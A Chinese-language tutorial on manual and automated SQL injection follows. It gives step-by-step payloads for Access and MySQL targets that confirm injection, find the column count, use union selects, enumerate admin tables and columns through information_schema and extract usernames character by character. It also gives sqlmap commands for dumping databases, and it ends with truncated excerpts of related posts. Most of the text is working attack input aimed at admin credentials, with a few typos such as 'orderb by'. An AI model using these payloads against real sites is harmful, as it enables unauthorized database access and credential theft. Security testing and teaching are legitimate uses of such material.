開發人員在開發web系統時對輸入的資料沒有進行有效的驗證及過濾,就存在引發sql注入漏洞的可能,並導致檢視、插入、刪除資料庫的資料,甚至可以執行主機系統命令。
1.可能出現asp?id=x的**
2.漏洞測試
(1)單引號測試:在頁面中執行命令時使用成對單引號和單個單引號進行測試,檢視是否有sql注入;
(2)利用條件語句測試:利用sql連線選項『and』連線url,把1=1和1=2作為條件同樣連線進去,如果條件不成立資料庫就會發生變化,代表存在注入,同時也可以判斷資料庫的型別。
3.acess資料庫注入(手動)
(1)使用『and』語句來判斷是否存在注入;
(2)判斷資料庫型別;
and (select count(*) from msysobjects)>0;返回許可權不足是access表,反之則mssql。
(3)檢視資料庫名;
and db_name()>0
(4)檢視版本資訊;
and 0<>(select @@version)
(5)檢視資料庫中是否存在admin這個管理表;
and exists(select * from [admin])
and (select count(*) from admin)>0
(6)檢視admin這個表中是否有username這個管理列;
and exists(select top 1 [username] from [admin])
and (select username from admin)>0
(7)猜測admin這個管理列中使用者名稱的長度;
and (select top 1 len(username) from admin)>0
後面的長度隨意猜測,選擇最大返回正常值加1作為長度。
(8)取出username的ascii碼值;
and (select top 1 asc(mid(username,n,1)) from admin)>0
mid()函式用來擷取,n為第幾位,『1』代表幾位數;得到的結果可用工具小葵進行轉換,得到的便是真實值。
4.mysql資料庫注入(手動)
(1)判斷注入點,後面加#,返回正常則為mysql資料庫;
(2)判斷字段數;
orderb by 1--
數字可以不斷的加,當返回值改變時,則為全部字段數+1;得到欄位數來判斷能回顯資料的位置
(3)聯合查詢,判斷可回顯資料的位置;
union select 1,2,3...(上乙個得到的字段數)--
要在url中加入乙個錯誤的判斷值(and 1=2 或在數值前加『-』號)頁面才會顯示能夠顯示資料的位置。
(4)檢視使用者,版本,庫名
user(),version(),database()
(5)檢視管理表(常見的管理表命名方式:system、login、admin、users)
union select 1,table_name(此處為可顯示資料的位置),3,...(字段數) from information_schema.tables where table_schema=(此處為庫名的16進製制數) limit 0,1--
(6)檢視列
union select 1,column_name,3,..., from information_schema.column where table_name=(表名16進製制) limit 0,1--
5.sqlmap
(1)需要在python環境下執行;
(2)測試是否為注入點;
sqlmap.py -u "url"
(3)獲取資料列表;
sqlmap.py -u "url" --dbs
(4)當前資料庫;
sqlmap.py -u "url" --current-db
(5)獲取資料庫所有表資訊;
sqlmap.py -u "url" --tables -d "目標資料庫"
(6)獲取列;
sqlmap.py -u "url" --column -t "管理表" -d 「目標資料庫」
(7)獲取字段;
sqlmap.py -u "url" --dump -c "字段" -t 「管理表」 -d 「目標資料庫」
sql注入 手工注入
表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...
SQL注入之Access注入 (手工)
尋找注入點 首先呢,在 中尋找傳遞引數的頁面,也就是尋找注入點。判斷注入 找到頁面 注入點 之後呢,我們需要判斷當前頁面是否存在注入 傳統的方法是 語句狀態 鏈結後面加 報錯and 1 1 正常and 1 2 報錯or 1 2 正常or 1 1 報錯或者跳轉到另外乙個頁面 我們不使用傳統的方法,因為...
sql 注入手工實現二
這一節沒有什麼用,就是用來熟悉命令的 目標 1.order by 18 訂購18 存在18個表 2.聯合查詢,判斷可回顯資料位置,結果,可回顯位置為2,9,14 3.user 檢視當前使用者,version 檢視版本,database 檢視庫名 當前使用者為root使用者具有最高許可權 當前資料庫為...